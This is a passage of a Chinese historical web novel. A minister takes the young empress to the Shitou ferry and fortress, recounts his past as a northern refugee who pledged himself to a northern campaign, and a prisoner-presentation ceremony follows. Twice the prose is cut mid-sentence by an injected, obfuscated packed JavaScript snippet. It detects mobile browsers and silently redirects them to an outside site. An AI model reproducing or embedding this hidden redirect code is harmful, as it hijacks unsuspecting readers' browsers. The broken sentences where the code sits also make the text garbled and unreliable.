萧含光想了想,又问道:“可你不是说太皇太后忌惮宋家吗?这次仪式之后,庐江宋氏的声誉将更上一层楼,这岂非与太皇太后的心思相悖吗?” “因为比起压制宋家,太皇太后有更重要的事情要做。”齐韶站起身来,面朝北方,声音铿然:“太皇太后并非如吕后一般的人物,她有着常人难以企及的理想。她希望在有生之年,做到连先帝都没有做到的事。” 萧含光:“什么事?” “北伐中原,收回两百年前沦于异族之手的国土。”齐韶立于窗边,此刻夕阳的余晖透过窗棂洒落,将他的眼瞳染成琥珀色,仿佛熔金流淌,又似有一团灼火正在燃烧。 “北伐?”萧含光喃喃出声。 萧含光从未想过北伐的事,自她有记忆以来,南北双方的界限分明,双方在淮水一带各持重兵,虽然疆界时有变化,但也大差不差。她这些天看过的所有奏折表章,从无一人提到北伐二字。 江南金粉地,秦淮烟水家。两百年过去,洛阳的城楼、长安的钟鼓,早已湮没在胡尘之中。当年南渡的士大夫们的后代们早已忘了神州陆沉的苦痛与凄惶。他们生长于斯,也只想抓住脚下的土地,忘了自己的根本应扎根在淮水更北之处,忘了曾经繁华绮梦的东西二京。 长于庵堂的少年天子当然更不会记得这些,她只是在此刻看到了齐韶眼中的从未有过的别样神采,又想到了他常常拿在手中的那本《六韬》,心中忽而一动,问道:“那你呢,你也有志于北伐,因此效忠太皇太后吗?” 她这些天与太皇太后的这位近臣朝夕相处,多少发现了一些不寻常之处。 比如,齐韶被认为是齐阀年轻一辈的佼佼者,但他与齐阀的关系并不亲近,至少他从未回过齐家位于朱雀门的宅邸。哪天不在宫中过夜,也只在自己的私邸居住。 再比如,齐韶官拜中书侍郎,却几乎是太皇太后的私人僚属。太皇太后需要在前朝的一切事情,都是由他经办。齐韶对太皇太后的所有指令全部照单接受,并一丝不苟地完成,使太皇太后端坐椒房殿中,便足以指掌天下之事。为此,他担负不少骂名——至少,这些天萧含光看过的奏折,不少都在弹劾这位太皇太后的近臣。 太皇太后对齐韶的信任也远超君主对臣属的信任。她默许齐韶所做的一切事情,从不质疑与诘问,似乎一点也不担心他会背叛自己。 最后一缕胭脂色的光晕在菱花窗格间滑落,整个西书房掩入浓黯的暮色之中。齐韶转过头朝她看来,他唇角微微扬起,眸中闪过一丝罕见的柔和,仿佛卸下了平日的恭谨与疏离,道:“陛下,明日休沐。中书省不会有奏折送来,陛下可以休息一天。微臣已经向太皇太后请示,带您去一个地方。” *** 第二日一早,萧含光用过早膳,见正光殿门口停了一辆马车。 萧含光上车后,马车从西北角驶出宫门。萧含光撩开车帘,见齐韶骑马领十数名黑衣骑兵立于御道旁,向她微微颔首。 齐韶在前领路,骑兵护卫在后,马车渐渐驶出金陵城,一路向西而行。刚出城时,萧含光尚能见些人烟村落,越向西走,道路越发荒凉起来,萧含光正疑惑此行的目的地,忽见前方出现一处渡口。车夫轻勒缰绳,马车缓缓停下。 隔窗远望,宽阔的江面波光粼粼,江边泊着大小船只,桅杆如林。人群熙攘,漕工的号子声与商贩的吆喝声交织,一派喧嚣景象。 齐韶下了马,低声向随行的骑兵吩咐几句。那些人将马系于道旁,迅速散开,如滴水入海般隐没在熙攘的人群中,动作干净利落,显然训练有素。萧含光知道这些人并未离开,只是潜匿于暗处,保护今日白龙鱼服出行的君王。 齐韶走近马车,右手微抬,掌心向上。萧含光略一迟疑,指尖轻触他的掌心,借力步下马车。 江风凛冽,裹挟着水汽扑面而来,将她青灰色的斗篷吹得高高扬起,衣袂翻飞间,露出内里绣着暗纹的锦缎衣袍。 萧含光远眺江面,问道:“这是什么地方?” 齐韶今日着一身白色大氅,在江风吹拂下愈发显得风姿清绝,他道:“这里是石头津,是金陵城最大的渡口。” 萧含光不禁疑惑起来。下月初八的献俘仪式已是板上钉钉的事,她原以为齐韶会带她去典仪之地,预演一番流程,以免届时出丑,叫人瞧出破绽,可这处位于长江之畔的渡口,不管怎么看都不像和献俘仪式有什么关系。 齐韶并不解释为何带她来这里,径直往人群最稠密之处走去。这里是长江南北人口和货物交汇之处,虽名为渡口,规模和一座小镇差不多。 齐韶显然不是第一次来这里,有不少的船老板认识他,对他恭敬行礼,唤道:“齐大人。”齐韶对他们并不热络,只是微微点头。他的目光偶尔停留,萧含光随着他的目光看过去,不过是渡口卖苦力的船工,以及蜷缩在墙根处的流民和乞丐。 忽地,萧含光听到一旁低矮的棚舍中传来妇人的哭喊声,声音嘶哑,混杂着江风的呼啸,显得格外凄厉:“郎中,求求你救救我儿子,他只有十六岁啊……” 一道声音叹道:“婶子,并非在下不尽力,实在是令郎伤势太重,在下也是毫无办法。” 那妇人哭道:“我苦命的孩儿啊,没了你阿母可怎么活啊……” 齐韶在棚屋前停下,目光扫过棚内的情景,眉头微蹙。郎中显然也认识他,露出恭敬神色,行礼道:“齐公子,您来了。” 齐韶点点头,他看向一旁哭泣的妇人和卧倒地上的少年,问道:“诸葛郎中,这是怎么一回事?” 郎中哀叹一声,道:“唉,这母子俩是从北魏逃难到金陵来的。在逃难的路上,儿子被鲜卑人追杀,伤了脑子。他们没钱治伤,辗转到我这里,已经耽搁了好些时日。齐公子你也知道,我的医术只勉强过得去,一般的小病小伤还能治,这般重伤,我实在是没有办法……” 萧含光闻言,快步走到少年身旁,蹲下身,右手轻轻搭在他的脉搏上,片刻后,她抬头看向郎中,问道:“这少年应是颅内受伤,淤血堵塞,以致昏迷不醒。不知可有银针?” “有,有……”诸葛郎中面露赧然,搓着手道:“只是在下医术浅薄,不敢随意施针,怕误了性命……” 萧含光道:“将银针给我,我来试试——”她从前在药师庵跟随静仪师太学习医术,深知颅内淤血的凶险。静仪师太曾言,此类伤势若不及早施针疏通,轻则瘫痪,重则丧命。此刻,她心中虽无十足把握,却不得不一试。 诸葛郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260541|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中很快找了银针出来。萧含光让郎中将少年扶起,靠坐在墙边。她取过银针,指尖轻捻,针尖在烛光下泛着冷光。她凝神屏息,将银针缓缓刺入少年头顶的几处穴位,手法娴熟而稳健。片刻后,少年的眼皮微微颤动,终于睁开了眼睛,看到一旁的妇人,唤道:“阿母……” 那妇人见儿子苏醒,喜极而泣,走到萧含光面前,跪下磕头拜谢道:“多谢贵人救我儿性命,我母子二人愿作牛作马,报答贵人的恩德。” 萧含光并非第一次施针救人,但她知道这母子二人与她从前救的人是不同的。药师庵是一座皇家寺院,并非等闲人等可以进入,她从前救治的病人大多是金陵或附近大城中的夫人和小姐们。 她从前救了人,那些夫人小姐们会在庵中烧香还愿,感激佛祖菩萨。 而眼前的衣衫褴褛妇人对着她顶礼膜拜,感激她救了她的儿子。她从未遇到这种情况,不免手足无措起来。 齐韶见她发窘,向前一步,将那妇人扶起,道:“夫人无须无此……”他摸出一只钱袋,塞到妇人袖中,道:“这点钱您收着,给令郎买些药,找个安身之处,好好活下去。” “你们救了我儿,我怎么好意思还拿你们的钱……”那妇人嗫嚅着,将钱袋往回推,齐韶后退一步,那钱袋掉在地上。 诸葛郎中弯腰捡起钱袋,轻轻塞进妇人的手中,低声道:“婶子,这钱您就收下吧。齐公子向来如此,您若不收,他心底反而不痛快。您若不信,可以去码头上打听打听,咱们这些从江北逃来的人,谁没受过他的恩惠?” 那妇人捧着钱袋,双手颤抖,泪水顺着布满风霜的脸颊滑落。她张了张嘴,似乎想说些什么,却终究哽咽难言,只能深深伏地,以额相触,久久不起。 齐韶并未在那间棚屋多作停留,两人回到外面的堤岸上。萧含光心中疑窦更增,齐韶出身如今的大楚第一门阀齐氏,是清贵无伦、不染片尘的世家公子,怎么会格外关注这些来自江北的流民?听诸葛郎中的话,齐韶经常来这里,还帮助过不少人。 但齐韶既然没有主动提起,她也不好追问。萧含光随齐韶继续沿江而行,忽见烟波浩渺处拔起一道铁壁铜墙。 一座高耸的城垣临江而立,依山势蜿蜒如龙脊,青灰色墙砖经百年江风磨砺,隐现暗红斑痕,仿佛巨龙的鳞甲浸染了铁锈。城堞上玄甲守军执戟而立,寒铁映着江天雪浪,更显肃杀之气。 齐韶停下脚步,回头望向她,目光沉静如水:“到了。” 萧含光望着眼前巍峨的城垣,问道:“这是什么地方?” 齐韶微微一笑,目光中带着几分探问之意:“陛下前些日子应该看过金陵城的布防地图,不妨自己想想?” 萧含光前些天为了应付太皇太后的考教,确实用心研究过金陵城的布防图。金陵城北面屏障是覆舟山,东西南三个方向各有一座关城,各陈重兵,拱卫京师。东边是东府城,南边是丹阳城,西边临江处是石头城。 她想起方才走过的石头津,心有明悟,答道:“这里是石头城——” 齐韶目光转为赞许:“陛下果然学得很快。” 两人靠近石头城,守城将领立即上前盘问。齐韶并未表露身份,只是从袖中取出一块青铜令牌,令牌上刻着繁复的纹样。士兵一见,神色骤变,立即退至一旁,恭敬让开大路。 齐韶带着她沿城垛一侧的台阶拾级而上,登上最高处。 江风猎猎如袭,萧含光的斗篷被吹得呼呼作响,仿佛一只振翅欲飞的青鸟。她扶住垛口,举目远眺,只见长江如一条白练,自天际奔涌而来,浪涛拍岸声如雷鸣,震得脚下的城墙似乎都在微微颤动。 她的目光越过江面,望向更远处的对岸,苍青色的原野一望无际,水天相接处泛起淡淡的银灰色,仿佛天地在此交融。 她心中涌起一股难以言喻的情绪。她自幼长于药师庵,所见不过方寸之地,何曾想过天地竟如此广阔? 这石头城的巍巍城关,在滚滚江流之中不过瓦瓮。人立足于关城之中,也不过如天地之间一蝼蚁而已。 她脑海中忽浮现宋海晏从前的笑语。 “阿幸,你该多读书。你读了书,就会知道外面的世界比这小小一座药师庵大多了,也有意思多了——” 她最近诸事繁忙,很少有时间去想宋海晏。可此刻一念心起,竟是难以抑制。思及上次在驿馆时,他说要回庐江去,也不知是否成行。 她侧头,正要去问齐韶时,见齐韶恰好也朝她望了过来,说道:“刚才多谢陛下。” 这句话没头没尾,萧含光好一会才反应过来,他是感谢她刚才在那间棚屋中施针救了那位从北魏逃难来的少年。 那对母子对齐韶而言也是陌生人,他实在不必为那两人向她说谢。 萧含光摇了摇头,轻声道:“我曾在药师庵修行,传说中药师佛曾发十二大愿,愿为众生解除疾苦,趋入解脱,药师庵的医术便是由此传承而来。我虽并不信佛法,但既然跟随静仪师太学了医术,治病救人就是我应该做的事。你并不认识那对母子,也并不需要向我致谢……” “我知道,但这是我的衷心。陛下可能觉得我矫作,但我确实想将这个‘谢’字说出口。” 他转头望向江面,他的目光深邃而悠远。萧含光觉得他并不是在看江面,也并不是在看江北的原野,而是看向更北之处,那肉眼已看不见的天地尽头。 惊涛拍岸,伴着江风和潮浪,萧含光听她的人臣讲起自己的故事。 “陛下大概还不知道,我并非出自江左齐家。本名也并非叫齐韶,曾经的我也像那位棚屋中的少年一样,也是一位从北方逃难而至的流民,差点在石头津冻饿而死……” 27. 第九章 岂不怀归 齐韶本名荀韶,出身洛阳大族荀氏。荀氏为官宦世家,本为春秋儒学大家荀子之后裔,家学治经,以《荀子》为主,也擅长琴艺。 两百年前,荀氏先祖荀纶仕于晋朝,晋末乱世,胡族越关而入,中原动荡。皇帝渡江,社稷移鼎,世族纷纷南渡,从此王业偏安东南。 荀氏在洛阳经营数百年,荀纶不忍弃宗祠坟茔南去。等到羯人占据洛阳,再想离开,已是来不及了。于是避居山中,北朝的胡族政权听闻他为当世大儒,请他出仕,荀纶数次推辞。 胡人来了又去,今天是羯人,明天是羌人,后来是鲜卑人,战争从不止歇,长安、洛阳俱成焦土。荀纶年届六十,身体已经半截入了土,他以为自己会追忆着两京旧梦度过余生时,遇到了一位来自南朝的使者,这人给他带来了一块刻着“御命”两字的金印。 南渡的王朝终于在东南站住了脚跟,准备北伐中原,收复旧都,希望荀纶接受北朝的征召,联络北方不忘旧朝的有志之士,等到将来北伐之时,能里应外合,提供助力。 荀纶收下了那枚金印,回到洛阳出仕。他利用自己的人望暗中联系留在北方的故旧,组建部曲,只望南朝有朝一日北伐成功,让长安、洛阳二京恢复中原衣冠与昔日繁华。 他等到耄耋老矣,也没有等到北伐的大军。那位给他送来金印的南朝皇帝早早病死,南朝的宗室、世家忙着争权夺利,没有人再提北伐的事,等到朝局稳定下来,已是十几年后的事了。 荀纶临死之前,将那枚金印交到儿子手中,留下了八字遗言:“忠于王事,以待王师。”他的儿子将这八个字刻在金印的侧面,作为荀氏的祖训。 可是不会有王师了。 北方乱成一团,南方也一样。两百年间,金陵已经换了五个王朝,王座之上换了十几个皇帝。又有谁记得两百年前有一位皇帝送往北方的金印?又有谁知道在被世人遗忘的旧都里还有人等王师归来? 直到七年前,任洛阳城守的荀程听到了南方的消息。 草莽出身的武人萧胥统一了整个南方,建立了大楚王朝。将南北之间防线重新推到淮水一带,荀程终于看到了南朝北伐的希望。 荀程是荀纶的七世孙,也是荀韶的父亲。他派出自己的亲信,带着自己的亲笔信,去往金陵,拜谒南朝的君主,表示如若王师北来,愿为内应。 那名亲信看了密信,认为这是个升官发财的好机会,将这封信交给了北魏的君主。他得到了三十两黄金的赏赐和洛阳城守的官位,荀氏一门则被判满门抄斩。 在大祸来临之前,荀程将那枚金印交给自己的儿子,他说:“荀韶,故土已经容不得我荀氏之人了,你往南边去吧。不要再想王师北伐的事了。你将这枚金印融了,找个地方安度余生吧。不要再留恋故土,清明时,你往北方看一眼,就当是为我荀氏一门祭奠了。” 荀韶独自一人,怀揣着那枚金印,跟着流民们往南走。北朝的鲜卑贵族们喜欢捕捉中原人为奴隶,许多人逃亡南方。天灾战乱频仍,乱离之人无非是哪里能生存就往哪里走—— 他出洛阳,经豫州、扬州,到了南朝安置流民的京口。他用光了所有的钱,又生了一场重病,因为没钱寻医问药,差点病死在路上。他想过按父亲之言,将那枚金印融了,得到的钱便足够他在南朝生存下去。 可他到底不甘心。 他想要到金陵去,为金印上刻的八个字,为荀家两百年的坚持求一个答案。 他在京口的渡口替人搬货,终于攒到船资,到了金陵西岸的石头津。 他打听到朱雀门齐家的宅邸,求见司徒公齐鸿大人。他当然没有见到齐鸿,齐家的仆人见他衣衫褴褛,将他打了一顿,赶了出去。 那一晚,十四岁的荀韶握着那枚金印坐在江边,看着滔滔江水,他想着还不如蹈身江中,了此余生。 他挣扎一晚,最终还是放弃了。他是北人,生于洛阳,长于洛阳,就算是死,也应该回到故土再死。他要渡江,回到江北,回洛阳去。 天明的时候,他遇到大楚戍卫。这一日,大楚皇后齐明霜来到石头城,视察金陵防务,戍卫们照例要提前清场,以免让皇后娘娘看到一些不该看到的画面。 那戍卫看到衣衫褴褛的流民拿着那么大一块金子,动了心思,道:“这金子你是从哪里偷来的?” 荀韶将金印藏入怀中:“我没偷东西,这金子本就是我的……” 戍卫道:“胡说,你穿成这样,怎会有这么大块的金子。你们这些北边来的流民,就是喜欢偷东西。这金子指不定是从哪位贵人家里偷出来的。” 他高声道:“这里有个偷东西的贼人,兄弟们,将他抓起来——” 荀韶见势不妙,拔腿就跑,可他食不果腹的一个人,怎能敌过一整支训练有素的卫队,终于被捉住,那枚金印也被强行夺走,那戍卫冷笑道:“你就是个小偷,还想狡辩……” 荀韶平生从未受此大辱,大喊道:“我没有偷东西,还给我——”他想要去抢金印,又怎么可能得手,被按倒在地上,饱受一顿拳脚。 他悲从心来,不知自己为何要到金陵来,又为何落到如今这般境地。他在惶惶无依之际,终于念起这一切的源头,无非是“北伐”二字而已。 他躺在地上,怆然嚎呼道:“北伐……北伐……北伐……” 这一切当然是徒劳的。南朝人早忘了故国故土,也没了北伐的理想。这世上大概不会再有人理会他的疯话。 偏偏这句话竟有回响。 渡口停了一辆华丽的马车,一位雍容华贵的宫装妇人走下车来,望向戍卫,斥问道:“你们在干什么?” 戍卫见到来人,跪了一地:“参见皇后娘娘。”又奏道:“启禀皇后娘娘,这边有个北地来的流民偷了一枚金印,卑职们正在捉拿。惊动皇后娘娘,请娘娘恕罪。” 荀韶用力大喊:“我没有偷东西。那金印是我的,是南朝皇帝给我家祖上的信物——” 皇后娘娘敛眉道:“金印拿给我看看。” 戍卫将金印奉上。齐明霜将金印拿在手上,正面刻着“御命”二字,侧面刻着“忠于王事,以待王师”八个字。 这枚金印用料是足色纯金,雕工精美,看起来确实是前朝宫中御制之物。 她望向戍卫:“将他放了,带到我跟前来,我有话问他。” 很快,荀韶就被带到皇后娘娘身前。 齐明霜问道:“你说这金印是南朝皇帝给你家祖上的信物?你家祖上是哪位?这是什么时候的事?双方又约定何事?” 荀韶不敢抬头看这位南朝最尊贵的女子,但他知道,现在是他离想要的答案最近的时候。他便从自己的祖先荀纶得到这枚金印开始讲起,讲到自己如何家破人亡,独自带着这枚金印来到金陵。 皇后娘娘听完他的讲述,沉吟良久,最后道:“本宫听说洛阳荀氏家学渊源,擅长的绝学有两种,一是治经《荀子》,二是琴艺。本宫可以给你一个机会,让你证明自己没有说谎。” 她向左右道:“取古琴来。” 宫人很快取来一张琴,皇后娘娘看向这位流离道旁的惨淡少年,道:“你可以随便弹奏一曲,证明你确实是洛阳荀家的子孙。” 荀韶问宫人要了水,净了手,再将琴横于膝盖之上,端然静坐。 少年分明衣不蔽体、满面尘灰、形如乞丐,可当他手指按上琴弦的时候,人人都觉得他该是入则衣锦、出则高车的世家公子。 荀韶左手轻捻,右手慢挑,淙淙琴音从他指尖流泻而出。琴曲以宫音始,中正沉缓,肃穆厚重,是王师列阵之象。齐明霜听出那曲子,那是《诗经》的《出车》。 “我出我车,于彼牧矣。自天子所,谓我来矣。 召彼仆夫,谓之载矣。王事多难,维其棘矣。” 齐明霜闭目聆听,琴声中仿佛有北风呼啸,战鼓雷鸣。羽音烈烈,琴声愈发慷慨激昂起来,少年既弹且唱,那是琴曲中第二叠。 “王命南仲,往城于方。出车彭彭,旂旐央央。 天子命我,城彼朔方。赫赫南仲,玁狁于襄。” 天子命臣子固守北边的城池。可是南马不恋北风,昔日渡江而去的北人也不再归来,又如之奈何。羽音转入哀怨的商音,那琴曲进入第三叠。 “昔我往矣,黍稷方华。今我来思,雨雪载涂。 王事多难,不遑启居。岂不怀归?岂不怀归?” “岂不怀归,岂不怀归——” 琴歌之声一咏三叹,似乎是在祈问上天。如今金陵王气已聚,天子为何没有怀归之心? 大楚皇后齐明霜心中一动,折断了手中把玩的一支玉簪。 怀归。 齐明霜被这个北地而来的少年打动,动了怀归之心。 一曲终了,满场寂然。 半晌,齐明霜又问道:“《荀子》中说‘天行有常,不为尧存,不为桀亡’,不知荀公子何解此经?” 荀韶答道:“天道的运行遵循常理,尧舜为圣王,桀纣为暴君,可不管统治臣民的是哪一位君主,日月星辰都是一样运转,万物都是春生夏长,秋收冬藏。决定是盛世还是乱世的并非天道,而在君王本身。有为的君主会制天命而用之,成就万古之基业——” 齐明霜猛地抬头,看上对坐的褴褛少年,彼此都看到对方目中的灼火。 大楚皇后长身而起,郑重道:“荀公子,你千里迢迢来到金陵,无非求一个答案。这个答案,我齐明霜可以给你。我大楚一朝,终有一天会踏上北伐征途,收复长安、洛阳二都,恢复汉家天下,让你可以在洛阳祭祀荀氏列祖列宗,这是我齐明霜对你的承诺。” 皇后将这名少年带回齐家,易名为齐韶,倾力培养。到他十七岁时,任他为东宫詹事,常召他参与机密,齐韶也因此成为太皇太后最信任的臣子。 *** 长风徐来,江水奔流不息。 齐韶轻声道:“后来我才知道,太皇太后出现在江边,本是为了查看石头城防务。可她最后捡起的,是一个北人诞妄的梦想。” 江风掠过他的鬓角,将一缕碎发吹散在眉骨处,“陛下昨日不是问我为何效忠太皇太后,这就是我的理由。” 萧含光不由问道:“你为什么要告诉我这些?” 齐韶低头:“这也是太皇太后的意思。” 萧含光:“为什么?” 齐韶叹息一声:“陛下,太皇太后已经老了。她虽然有着无上的雄心,但是已经没有足够的精力来撑持她想做的事情。她需要一位继承人,楚国需要一位年少有为的君主继续推动北伐大事,您是太皇太后选中的人。” 萧含光讶然:“我?” “陛下,您也知道,太皇太后的儿子们没有一个存活于世。您的哥哥,皇太孙殿下也早夭。”齐韶目光落在江面,轻声道:“先帝有两个兄弟,分别封为长沙王、豫章王,太皇太后虽然可以从他们的子孙中过继嗣君,但这样容易引起变乱。太皇太后最后选择了陛下您,说陛下虽长于庵堂,经验不足,但胜在聪明沉着,能担大事。” “呵……”萧含光发出一声极苦的哂笑,心中五味杂陈。 这算什么?她年幼时,天家需要一个在庵堂赎罪的人,所以命她出家。等她年长了,国无嗣君,又拆了她的婚事,将她架到皇帝的尊位上来。 她是一枚棋子吗?哪里有用往哪些放? 她的人生就这般被随意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266806|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 操纵吗? “对不起。”齐韶望着她几乎嵌入掌心的指甲,目光中有一丝歉然,“彼时,长乐公主与宋海晏婚约已成。我向太皇太后提出反对的意见,但她权衡利弊,认为这是最优解法。我没有找到足够多的理由去说服她,所以,我对陛下,始终怀有歉疚之心。” 萧含光心中一道念头一闪而过,问道:“这便是为什么你那天提出带我去行宫见母亲?” 齐韶点头。 “所以你今天带朕来这里,给我说这么一番话,就是为了说服朕,将来配合你们的计划?”萧含光直视着他,声音多了一分泠然:“太皇太后说过,权力是一门操纵的技艺。朕是不是可以理解为,你现在正在试图操纵朕?” 她冷笑道:“用恩情示好,用过去博取同情,再用理想来感化?最后达成你们的目的?” 她之前一直用“我”,现在换成了“朕”。 齐韶一怔,脸色倏然间变得极白。他双膝落地,低头叩了下去:“陛下,臣未曾有过这样的想法。臣只是……只是……” 他想要解释,想要君王相信他虽心有隐衷,但从无一丝一毫不敬之心,然搜肠刮肚,竟找不到合适的辞藻为自己辩解。 或许他也无须辩解。 他本也是想献上自己的忠心,许以驱驰,说服君王当政之后,能按他的设想,继续推进北伐大计。 他并未操纵君王的心思,而最终的目的并无什么不同。 他喉结滚动,艰难出声:“臣……有罪,请陛下再容我一言……” 萧含光垂目望向跪倒身前、脸色青白的青年,心中懊恼,刚才她那一番话说得太重了。 她是君,他是臣。就算她并非实权之君,他亦是朝廷股肱之臣。 毕竟君臣有别。 她一分的重话,落在他耳中,也是十分的重量。 她平生第一次识得了“权力”二字带来的滋味,却并不感到美好。 其实她并无指摘他的资格,自她入宫以来,他已予了她足够多的善意。太皇太后的作为,不该一并算在他身上。她只是一时胸臆难平,那番话便脱口而出。 此时见齐韶如此神色,心中也有几分后悔。她轻叹一声,声音柔和了些:“你起来说吧。” 齐韶并未起身,只是抬起头,说道: “陛下今日施针,救了那名从北地而来的少年。但是救一人易,救千万人难。一名神医医术再精湛,一生能救的人终究有限。可若北伐功成,陛下便能救下无数人的性命。不会再有人被掳为奴隶,也不会有人沦为流民。万民人人得以安居,家家能得圆满。这是天下间,最无上的功德。” “陛下,您的选择将主宰江南江北无数人的命运。”他躬身前倾,伏地长拜,声音在江风中格外清晰:“微臣荀韶,恳请陛下成为这样的君主。臣将效死,助陛下成为真正的天下之主。” 萧含光心中生起一种奇异的感受。 齐韶那番话并不怎么响亮,却一字一句回响在她脑内,嗡嗡作响。 昨日,她不过刚刚窥见主宰自己命运的一线微光;今日,便有人告诉她,你可以主宰无数人的命运。 这样的话,她本不该信。可此刻看向那长跪未起的青年,她又觉得自己应该相信。他的额头仍贴着青砖,肩背绷得像一张拉满的弓,仿佛要将所有的恳切与期盼都倾注在这一拜之中。 江风掠过她的耳畔,带着潮湿的水汽,却吹不散她脑中混沌的思绪。她觉得自己的脑袋有些木,心中更是乱成一团,像被风吹散的芦苇,东倒西歪,找不到归处。 她扶着额头,缓缓坐在城墙垛上。青砖的凉意从掌心蔓延到四肢百骸,却让她稍稍清醒了些。“齐韶……”她的声音轻得像一缕烟,几乎要被江风卷走,“我从前没有想过这些。你先起来……让我……好好想想……” 齐韶终于抬起头,他缓缓起身,衣袂在风中轻轻摆动,像一只收敛羽翼的鹤。 “没关系。”他的声音低沉而温和,“陛下可以慢慢想。” 早春微暖的阳光照在城楼上,萧含光远眺江上往来帆影。 她第一次开始思考,人生一世,应该怎么过活。 从前,她在药师庵时,觉得晨钟暮鼓的生活就是自己的一生。 后来,她遇到宋海晏,开始向往外面的世界,想要得到自由。可那时的她,对自由的想象也不过是逃离庵堂,与他携手并肩,至于自由之后的生活,她从未深想。 那么现在呢? 如果她可以选择,她该选择怎样的人生? 忽地,她听到身后响起琴声。 齐韶不知什么时候取出一张琴,横于膝上,琴弦一拨一振,悠扬高远的琴声遥遥送出。青年以手按弦,口中吟咏着琴歌。 萧含光仔细听去,那是一首乐府曲辞。 “有鸟西南飞,熠熠似苍鹰。 朝发天北隅,暮闻日南陵。 欲寄一言去,托之牋彩缯。 因风附轻翼,以遗心蕴蒸。 鸟辞路悠长,羽翼不能胜。 意欲从鸟逝,驽马不可乘。” 这是元宁元年的晴日,江流磅礴,天是青色的,温润如同玉璧。远方水天相接处有蔼蔼流云,隐隐白帆。 千里江山尽收眼底,美得如同一卷长画。 江风呼啸过耳,雪浪叠着潮涌,脚下的关城震荡不休。有高士弹奏一曲琴歌,向他的君王吟咏他以身许国的忠贞。 她感到骨髓深处有股力量在微微颤栗。 她看到一只白鸟从天际最高处飞来,它掠过江面,落在石头城巍峨耸峙的城楼上,一声清唳,似乎是为琴声和鸣。 她的心也在那一刻安静了下来。 28. 第十章 御前三献 二月初八。 经过接近二十天的准备,献俘仪式在金陵宫城南边的大司马门举行。 率领淮南军获得大胜的庐江刺史宋寒章并未亲至,他派出自己的心腹大将陆崇押运着北魏大将拓跋兴的棺木和数百北魏俘虏到金陵。进献之仪则交给身处金陵的宋家长子宋海晏。 旭日东升,晨光洒在金陵城南的驰道上,映得青石板泛着微光。驰道两侧,挤满了今日前来观礼的金陵百姓。 去年冬天,皇室将自小寄养在庵堂的长乐公主接回金陵,下嫁给镇守淮南的庐江宋家长子宋海晏,这桩婚事本是金陵城人人茶余饭后的谈资。后来长乐公主未嫁夭亡,有不少人猜测庐江宋氏和皇室之间的关系可能不复当初,甚至影响淮南战局。 今年开春,宋家在淮南战场上的大胜击垮了这些流言,也让整个南楚上下人心一振。今日这场献俘仪式,更彰显庐江宋家对皇室的忠诚并未因婚事不谐而受到影响。 在众目期盼中,宋海晏跨着白马,一骑当先,从宣阳门驰入御道。 在他身后,一辆露车载着北魏大将拓跋兴的棺木走在队伍前面,之后便是在大战中被俘虏的北魏将领和士兵们,他们都被剥去衣甲,身着囚服,以锁链加身,在淮南军士兵的驱逐下麻木地向前行走。 萧含光率文武百官立于城楼上,她今日穿着玄色的天子祭服,上绣日月星辰十二章纹,繁复庄严,腰下一侧悬金绶、玉印、玉佩,冕旒垂下的白玉珠,轻轻晃动,声如鸣玉。城楼下,三千御林军各执枪戟,列阵而立,威严赫赫。 当她的目光落在队伍最前方的宋海晏身上时,神情有一瞬间的凝固。 他今日装束不同以往,身着玄甲,头戴武冠,手握银枪,一袭猩红披风随风轻扬,一副雄姿英发、朝气蓬勃的少将军形象,与她印象中的温朗少年截然不同,除了那张她万分熟悉的脸。 她万没想到再见宋海晏是这般情景。 他是从未离开金陵,还是去而复返?他的伤好彻底了吗? 一旁的齐韶察觉她的异样,低声道:“庐江刺史宋寒章没有亲至金陵,进献仪式由宋海晏完成。今日的流程臣已经仔细核对过,他应该没机会到御前来。” 萧含光木然点头。 “击鼓——”礼官长喝穿透云霄。 九十九面夔纹大鼓轰然雷动,声浪如潮。 鼓声停时,宋海晏下马,单膝着地。他身后的淮南军将士齐刷刷跪倒,铁器相撞之声如金戈坠地。 宋海晏高声道:“北魏大军屡犯我大楚疆界,今我军于淮南大破敌军,重夺怀远、凤台两城。臣宋海晏,奉家父庐江刺史宋寒章之命,献北魏大将拓跋兴尸首与所俘官兵于此,请陛下处置。” 他声音清透响亮,穿透风声,直达城楼之上。与此同时,他抬起头,一双锐利双眼望向城楼上的大楚国君。 萧含光几乎不敢与他目光相触,但她知道此刻万不能回避,强迫自己俯视而下,以泠泠目光与他对视。她按照礼官预定好的流程,拔高音量,大声道:“淮南众将忠勇可嘉,宋寒章为朝廷镇守淮南,可谓国之柱石,加封宋寒章为长丰县侯,加右将军衔,加宋海晏为龙骧将军,另赐金帛十万,犒赏众军。” 人群中响起一片欢腾声。 宋海晏再拜叩首:“臣代家父叩谢陛下隆恩。” 献俘仪式之后,萧含光便往太庙祭天,文武百官随行。晚上,皇帝在太极宫中设宴,大宴群臣。 萧含光换了一身玄朱色礼服,坐在最上首的御台上。殿中排下肴席,群臣依品轶高低列次而坐。左边文臣依次为齐鸿、魏膺之,然后是齐韶等三省九卿各部官员。武将一列依次为扬州都督齐栋、金陵卫尉韩毅,宋海晏的座次设在韩毅之后。 宋海晏在朝中并无实职,今日皇帝加封的龙骧将军不过是个名头好听的虚衔。然今日设宴是为宋家献俘一事,他作为宋家代表,受到格外恩遇,但离御台之上的萧含光仍有偌远的距离。 